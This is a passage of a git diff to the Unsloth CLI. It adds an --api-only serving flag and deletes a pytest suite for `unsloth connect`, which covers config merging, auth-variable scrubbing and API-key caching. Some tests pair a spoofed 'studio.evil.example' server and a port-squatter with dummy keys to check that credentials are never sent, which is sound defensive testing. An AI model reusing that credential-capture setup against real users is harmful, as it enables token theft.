+        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
     ),
     secure: bool = typer.Option(
         False,
@@ -776,6 +807,16 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
+        # Same for --api-only: dropping it here would silently serve the UI.
+        if api_only:
+            typer.echo(
+                f"Error: --api-only on `unsloth studio` applies to the "
+                f"plain-server path only. For `unsloth studio "
+                f"{ctx.invoked_subcommand}`, put it after the subcommand: "
+                f"`unsloth studio {ctx.invoked_subcommand} --api-only ...`",
+                err = True,
+            )
+            raise typer.Exit(2)
         return
 
     # --secure requires the tunnel; force a loopback bind.
@@ -866,8 +907,8 @@ def studio_default(
     run_server = run_mod.run_server
 
     if not silent:
-        display_host = run_mod._resolve_external_ip() if host == "0.0.0.0" else host
-        typer.echo(f"Starting Unsloth Studio on http://{display_host}:{port}")
+        display_host = _display_host_for_bind(run_mod, host)
+        typer.echo(f"Starting Unsloth Studio on http://{_url_host(display_host)}:{port}")
 
     run_kwargs = dict(
         host = host,
@@ -1031,6 +1072,12 @@ def run(
     host: str = typer.Option("127.0.0.1", "--host", "-H"),
     # `-f` removed (clustered `-fa`/`-fit*`); studio_default keeps it.
     frontend: Optional[Path] = typer.Option(None, "--frontend"),
+    api_only: bool = typer.Option(
+        False,
+        "--api-only",
+        help = "Serve only the API (no web UI), for a headless model server. "
+        "Pairs with --secure to expose the API over the Cloudflare link alone.",
+    ),
     silent: bool = typer.Option(False, "--silent", "-q"),
     enable_tools: Optional[bool] = typer.Option(
         None,
@@ -1062,7 +1109,10 @@ def run(
     cloudflare: bool = typer.Option(
         True,
         "--cloudflare/--no-cloudflare",
-        help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 (default on).",
+        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
+        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
+        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
+        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
     ),
     secure: bool = typer.Option(
         False,
@@ -1214,6 +1264,8 @@ def run(
         args.append("--load-in-4bit" if load_in_4bit else "--no-load-in-4bit")
         if frontend:
             args.extend(["--frontend", str(frontend)])
+        if api_only:
+            args.append("--api-only")
         if silent:
             args.append("--silent")
         # Forward the resolved tool policy so the child doesn't re-resolve.
@@ -1262,9 +1314,13 @@ def run(
         host = host,
         port = port,
         silent = True,
+        api_only = api_only,
         llama_parallel_slots = parallel,
         cloudflare = cloudflare,
         secure = secure,
+        # Headless serving prints its own URL/API-key banner; the Tauri-only
+        # TAURI_PORT line would corrupt that machine-parseable output.
+        emit_tauri_port = False,
     )
     if frontend is not None:
         run_kwargs["frontend_path"] = frontend
@@ -1314,10 +1370,10 @@ def run(
     context_length_line = _format_context_length_line(result)
 
     # 6. Print banner.
-    display_host = run_mod._resolve_external_ip() if host == "0.0.0.0" else host
-    base_url = f"http://{display_host}:{actual_port}"
+    display_host = _display_host_for_bind(run_mod, host)
+    base_url = f"http://{_url_host(display_host)}:{actual_port}"
     sdk_base_url = f"{base_url}/v1"
-    # run_server started the tunnel during the silent run above (0.0.0.0 or --secure).
+    # run_server started the tunnel during the silent run above (wildcard or --secure).
     _cf_url = getattr(app.state, "cloudflare_url", None)
     # --secure: examples must use the public tunnel URL, not the loopback address.
     if secure and _cf_url:
@@ -1354,8 +1410,7 @@ def run(
             typer.echo(f"  On this machine only: {base_url}")
         else:
             typer.echo(f"  Unsloth Studio running at {base_url}")
-            if _cf_url:
-                typer.echo(f"  Secure link access via Cloudflare: {_cf_url}")
+            _emit_run_cloudflare_notice(run_mod, host, display_host, actual_port, secure)
         typer.echo(f"  Model loaded: {loaded_model}{display_variant}")
         if context_length_line:
             typer.echo(context_length_line)
@@ -1395,8 +1450,7 @@ def run(
             typer.echo(f"Local:   {base_url}")
         else:
             typer.echo(f"URL:     {base_url}")
-            if _cf_url:
-                typer.echo(f"Secure link access via Cloudflare: {_cf_url}")
+            _emit_run_cloudflare_notice(run_mod, host, display_host, actual_port, secure)
         if context_length_line:
             typer.echo(context_length_line.strip())
         typer.echo(f"API Key: {api_key}")
diff --git a/unsloth_cli/tests/test_connect.py b/unsloth_cli/tests/test_connect.py
deleted file mode 100644
index e76a892647..0000000000
--- a/unsloth_cli/tests/test_connect.py
+++ /dev/null
@@ -1,954 +0,0 @@
-# SPDX-License-Identifier: AGPL-3.0-only
-# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-"""Tests for `unsloth connect` — config merging and launch env, no network."""
-
-from __future__ import annotations
-
-import json
-import os
-import sys
-import urllib.error
-from pathlib import Path
-from types import SimpleNamespace
-
-_REPO_ROOT = Path(__file__).resolve().parents[2]
-if str(_REPO_ROOT) not in sys.path:
-    sys.path.insert(0, str(_REPO_ROOT))
-
-
-import pytest
-from typer.testing import CliRunner
-
-import unsloth_cli.commands.connect as connect
-
-BASE = "http://127.0.0.1:8888"
-MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072}
-
-
-# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and
-# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form.
-def _assert_env_set(output: str, name: str, value: str) -> None:
-    needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}"
-    assert needle in output, f"{needle!r} not found in:\n{output}"
-
-
-def _assert_env_unset(output: str, name: str) -> None:
-    needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}"
-    assert needle in output, f"{needle!r} not found in:\n{output}"
-
-
-@pytest.fixture()
-def claude_settings(tmp_path, monkeypatch):
-    path = tmp_path / "claude" / "settings.json"
-    monkeypatch.setattr(connect, "claude_settings_path", lambda: path)
-    return path
-
-
-def test_claude_settings_created_when_missing(claude_settings):
-    connect.ensure_claude_attribution_header()
-    settings = json.loads(claude_settings.read_text())
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_claude_settings_merge_preserves_existing(claude_settings):
-    claude_settings.parent.mkdir(parents = True)
-    claude_settings.write_text(
-        json.dumps({"effortLevel": "high", "env": {"CLAUDE_CODE_ENABLE_TELEMETRY": "0"}})
-    )
-    connect.ensure_claude_attribution_header()
-    settings = json.loads(claude_settings.read_text())
-    assert settings["effortLevel"] == "high"
-    assert settings["env"]["CLAUDE_CODE_ENABLE_TELEMETRY"] == "0"
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_claude_settings_already_set_untouched(claude_settings):
-    claude_settings.parent.mkdir(parents = True)
-    original = json.dumps({"env": {"CLAUDE_CODE_ATTRIBUTION_HEADER": "0"}})
-    claude_settings.write_text(original)
-    connect.ensure_claude_attribution_header()
-    assert claude_settings.read_text() == original
-
-
-def test_claude_settings_bad_json_left_alone(claude_settings, capsys):
-    claude_settings.parent.mkdir(parents = True)
-    claude_settings.write_text("{not json")
-    connect.ensure_claude_attribution_header()
-    assert claude_settings.read_text() == "{not json"
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def _fake_claude(monkeypatch, version_output: str) -> None:
-    monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude")
-    monkeypatch.setattr(
-        connect.subprocess,
-        "run",
-        lambda *args, **kwargs: SimpleNamespace(stdout = version_output),
-    )
-
-
-def test_cache_flags_passed_to_supported_claude(monkeypatch):
-    _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n")
-    assert connect._claude_cache_flags() == ["--exclude-dynamic-system-prompt-sections"]
-
-
-def test_cache_flags_skipped_on_old_claude(monkeypatch):
-    _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n")
-    assert connect._claude_cache_flags() == []
-
-
-def test_cache_flags_skipped_on_unparseable_version(monkeypatch):
-    _fake_claude(monkeypatch, "weird build string\n")
-    assert connect._claude_cache_flags() == []
-
-
-def _parse_toml(text: str) -> dict:
-    tomllib = pytest.importorskip("tomllib")
-    return tomllib.loads(text)
-
-
-def test_merge_codex_config_fresh():
-    merged = connect._merge_codex_config("", BASE)
-    parsed = _parse_toml(merged)
-    assert parsed["oss_provider"] == "unsloth_api"
-    provider = parsed["model_providers"]["unsloth_api"]
-    assert provider["base_url"] == f"{BASE}/v1"
-    assert provider["wire_api"] == "responses"
-    assert provider["requires_openai_auth"] is False
-
-
-def test_merge_codex_config_replaces_stale_block():
-    existing = (
-        'model = "gpt-5"\n'
-        "\n"
-        "[model_providers.unsloth_api]\n"
-        'base_url = "http://old-host:9999/v1"\n'
-        'wire_api = "chat"\n'
-        "\n"
-        "[model_providers.unsloth_api.http_headers]\n"
-        'x-old = "1"\n'
-        "\n"
-        "[model_providers.ollama]\n"
-        'base_url = "http://localhost:11434/v1"\n'
-    )
-    merged = connect._merge_codex_config(existing, BASE)
-    parsed = _parse_toml(merged)
-    assert parsed["model"] == "gpt-5"
-    assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1"
-    assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses"
-    assert "http_headers" not in parsed["model_providers"]["unsloth_api"]
-    assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1"
-    assert connect._merge_codex_config(merged, BASE) == merged
-
-
-def test_merge_codex_config_keeps_user_oss_provider():
-    merged = connect._merge_codex_config('oss_provider = "ollama"\n', BASE)
-    assert _parse_toml(merged)["oss_provider"] == "ollama"
-
-
-def test_write_codex_config_profile(tmp_path, monkeypatch):
-    monkeypatch.setenv("CODEX_HOME", str(tmp_path))
-    connect.write_codex_config(BASE, MODEL)
-    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
-    assert profile["oss_provider"] == "unsloth_api"
-    assert profile["model_provider"] == "unsloth_api"
-    assert profile["model"] == MODEL["id"]
-    assert profile["model_context_window"] == 131072
-    config = _parse_toml((tmp_path / "config.toml").read_text())
-    assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN"
-
-
-@pytest.fixture()
-def fake_studio(tmp_path, monkeypatch, claude_settings):
-    calls = []
-    state = {"models": [MODEL]}
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        calls.append((method, url, payload))
-        if url.endswith("/v1/models"):
-            return {"object": "list", "data": state["models"]}
-        if url.endswith("/api/inference/status"):
-            return {"is_gguf": True, "model_identifier": state["models"][0]["id"]}
-        if url.endswith("/api/auth/api-keys"):
-            return {"key": "sk-unsloth-feedfacefeedface"}
-        if url.endswith("/api/inference/load"):
-            state["models"] = [{"id": payload["model_path"], "context_length": 4096}]
-            return {}
-        raise AssertionError(f"unexpected request: {method} {url}")
-
-    monkeypatch.setattr(connect, "find_studio_server", lambda: BASE)
-    # Identity handshake has its own tests; trust the loopback server here.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: True)
-    # _studio_token / api-keys are faked so the mint flow stays offline.
-    monkeypatch.setattr(connect, "_studio_token", lambda: "jwt-token")
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    monkeypatch.setattr(connect, "_key_cache_path", lambda: tmp_path / "agent_api_key.json")
-    # No `claude` on PATH, so _claude_cache_flags never probes the real binary.
-    monkeypatch.setattr(connect.shutil, "which", lambda _: None)
-    monkeypatch.setenv("CODEX_HOME", str(tmp_path / "codex"))
-    monkeypatch.delenv("UNSLOTH_API_KEY", raising = False)
-    return calls
-
-
-def test_connect_claude_no_launch(fake_studio, claude_settings):
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_unset(result.output, "ANTHROPIC_API_KEY")
-    _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN")
-    _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE)
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
-    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1")
-    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1")
-    assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output
-    settings = json.loads(claude_settings.read_text())
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch):
-    captured = {}
-    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
-    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
-    monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude")
-    monkeypatch.setattr(connect, "_claude_cache_flags", lambda: [])
-
-    def run(command, env):
-        captured["command"] = command
-        captured["env"] = env
-        return SimpleNamespace(returncode = 0)
-
-    monkeypatch.setattr(connect.subprocess, "run", run)
-    result = CliRunner().invoke(connect.connect_app, ["claude"])
-
-    assert result.exit_code == 0, result.output
-    assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]]
-    assert "ANTHROPIC_API_KEY" not in captured["env"]
-    assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"]
-    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
-    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
-    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
-
-
-@pytest.mark.skipif(
-    os.name == "nt",
-    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
-    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
-)
-def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch):
-    captured = {}
-    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
-    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
-    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
-    monkeypatch.setattr(
-        connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
-    )
-    monkeypatch.setattr(connect, "_claude_cache_flags", lambda: [])
-
-    def run(command, env):
-        captured["command"] = command
-        captured["env"] = env
-        return SimpleNamespace(returncode = 0)
-
-    monkeypatch.setattr(connect.subprocess, "run", run)
-    result = CliRunner().invoke(connect.connect_app, ["claude"])
-
-    assert result.exit_code == 0, result.output
-    assert captured["command"] == [
-        "/mnt/c/Users/samle/AppData/Roaming/npm/claude",
-        "--model",
-        MODEL["id"],
-    ]
-    assert captured["env"]["ANTHROPIC_API_KEY"] == ""
-    assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == ""
-    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
-    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
-    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
-    for name in (
-        "ANTHROPIC_AUTH_TOKEN",
-        "ANTHROPIC_BASE_URL",
-        "ANTHROPIC_MODEL",
-        "ANTHROPIC_API_KEY",
-        "CLAUDE_CODE_OAUTH_TOKEN",
-    ):
-        assert name in captured["env"]["WSLENV"].split(":")
-
-
-@pytest.mark.skipif(
-    os.name == "nt",
-    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
-    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
-)
-def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch):
-    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
-    monkeypatch.setattr(
-        connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
-    )
-
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-
-    assert result.exit_code == 0, result.output
-    assert "export ANTHROPIC_API_KEY=" in result.output
-    assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output
-    assert "export WSLENV=" in result.output
-    assert "ANTHROPIC_AUTH_TOKEN" in result.output
-    assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output
-
-
-def test_connect_codex_no_launch(fake_studio, tmp_path):
-    result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    assert "codex --oss --profile unsloth_api" in result.output
-    assert (tmp_path / "codex" / "config.toml").exists()
-    assert (tmp_path / "codex" / "unsloth_api.config.toml").exists()
-
-
-def test_connect_key_minted_once_then_cached(fake_studio, tmp_path):
-    CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    # First run mints; second reuses the minted key cached for this server.
-    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
-    assert len(mints) == 1
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
-
-
-def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path):
-    CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    # Reused, not re-minted (a mint would return the feedface stand-in).
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    # An explicit key is remembered as "saved" so it replays without the handshake.
-    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
-
-
-def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch):
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(
-        json.dumps(
-            {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}}
-        )
-    )
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/v1/models") and token == "sk-unsloth-stale":
-            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    # The working key moves to the front so the next run tries it first.
-    cached = json.loads(cache.read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"]
-
-
-def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path):
-    # Legacy unscoped caches have no server binding (could leak across servers),
-    # so they're ignored: a fresh key is minted and stored scoped to this server.
-    (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"}))
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
-    assert "key" not in cached  # legacy field collapsed away
-
-
-def test_connect_model_flag_loads_on_server(fake_studio):
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"]
-    )
-    assert result.exit_code == 0, result.output
-    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
-    assert loads == [
-        ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"})
-    ]
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B")
-
-
-def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch):
-    # Studio registers a loaded model under a canonical id (resolved identifier
-    # / casing) that can differ from the path we passed. The agent must connect
-    # to that model, not silently fall through to the first loaded one.
-    requested = "Unsloth/Qwen3.5-35B-A3B"
-    canonical = "unsloth/Qwen3.5-35B-A3B"
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/load"):
-            return {"model": canonical, "display_name": canonical}
-        if url.endswith("/v1/models"):
-            # Decoy sorts first, so models[0] is the wrong pick on the old code.
-            return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]}
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", requested]
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical)
-
-
-def test_connect_no_model_loaded_errors(fake_studio, monkeypatch):
-    monkeypatch.setattr(
-        connect,
-        "_http_json",
-        lambda method, url, token, payload = None, timeout = 30, error = None: (
-            {"key": "sk-unsloth-feedfacefeedface"}
-            if url.endswith("/api/auth/api-keys")
-            else {"object": "list", "data": []}
-        ),
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "No model is loaded" in result.output
-
-
-def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch):
-    # Studio never surfaces the requested model; fail loudly rather than
-    # silently connecting to whatever else happens to be loaded.
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/load"):
-            return {}
-        if url.endswith("/v1/models"):
-            return {"object": "list", "data": [MODEL]}  # decoy; request never appears
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"]
-    )
-    assert result.exit_code == 1
-    assert "unsloth/Missing-7B" in result.output
-
-
-def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch):
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/status"):
-            return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"}
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"])
-    assert result.exit_code == 1
-    assert "GGUF" in result.output
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-
-
-def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch):
-    # A server known only by URL + health check is unverified: keyless connect
-    # must refuse and make no request at all.
-    monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.evil.example:8888")
-    result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"])
-    assert result.exit_code == 1
-    assert "Settings → API" in result.output
-    assert "--api-key" in result.output
-    assert fake_studio == []  # no HTTP request of any kind (no mint, no /v1/models)
-
-
-def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch):
-    # User named both server and key, so it's their choice; only auto-send is blocked.
-    monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.example:8888")
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-
-
-def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch):
-    # A key saved for a remote (non-loopback) Studio is replayed on keyless runs;
-    # auto-minting stays blocked for non-loopback.
-    remote = "http://studio.example:8888"
-    monkeypatch.setattr(connect, "find_studio_server", lambda: remote)
-    (tmp_path / "agent_api_key.json").write_text(
-        json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
-
-
-def test_connect_studio_server_errors_on_explicit_remote(monkeypatch):
-    # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an
-    # error, not a silent local model load (which they did not ask for).
-    import typer
-
-    import unsloth_cli._inference as inference
-
-    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888")
-    monkeypatch.setattr(
-        inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888"
-    )
-    with pytest.raises(typer.Exit):
-        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
-
-
-def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch):
-    # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback
-    # server can't be verified, fall back to a local load rather than erroring.
-    import unsloth_cli._inference as inference
-
-    monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False)
-    monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888")
-    monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False)
-    assert (
-        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
-        is None
-    )
-
-
-def test_connect_unverified_loopback_without_cached_key_refuses_to_mint(
-    fake_studio, tmp_path, monkeypatch
-):
-    # With no saved key, the next step would auto-mint; an unverified loopback
-    # server (port squatter) must be refused, with nothing sent.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "--api-key" in result.output
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
-
-
-def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch):
-    # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match)
-    # replays on keyless runs without the handshake, scoped to its own base.
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}))
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # reused, not minted
-
-
-def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch):
-    # A "minted" key is NOT replayed to an unverified loopback server: minting and
-    # minted-key replay both sit behind the handshake, so a squatter can't grab it.
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}}))
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "--api-key" in result.output
-    assert not any(c[1].endswith("/v1/models") for c in fake_studio)  # minted key never sent
-
-
-def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch):
-    # An explicit key is the user's deliberate choice, so it does not require
-    # the automatic identity handshake.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-
-
-def _serve_identity(proof_for):
-    """Start a localhost HTTP server answering /api/auth/identity with
-    proof_for(nonce_bytes). Returns (base_url, shutdown)."""
-    import base64
-    import threading
-    from http.server import BaseHTTPRequestHandler, HTTPServer
-    from urllib.parse import parse_qs, urlparse
-
-    class Handler(BaseHTTPRequestHandler):
-        def do_GET(self):
-            parsed = urlparse(self.path)
-            if parsed.path != "/api/auth/identity":
-                self.send_response(404)
-                self.end_headers()
-                return
-            nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0])
-            host, port = self.server.server_address[0], self.server.server_address[1]
-            body = json.dumps({"proof": proof_for(nonce, host, port)}).encode()
-            self.send_response(200)
-            self.send_header("Content-Type", "application/json")
-            self.end_headers()
-            self.wfile.write(body)
-
-        def log_message(self, *a):
-            pass
-
-    server = HTTPServer(("127.0.0.1", 0), Handler)
-    threading.Thread(target = server.serve_forever, daemon = True).start()
-    base = f"http://127.0.0.1:{server.server_address[1]}"
-    return base, server.shutdown
-
-
-def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch):
-    # Real crypto end to end: verify_studio_identity reads the install secret from
-    # an isolated DB; a "good" server proves the same secret, a spoofing one can't.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:  # backend not importable here (e.g. missing deps)
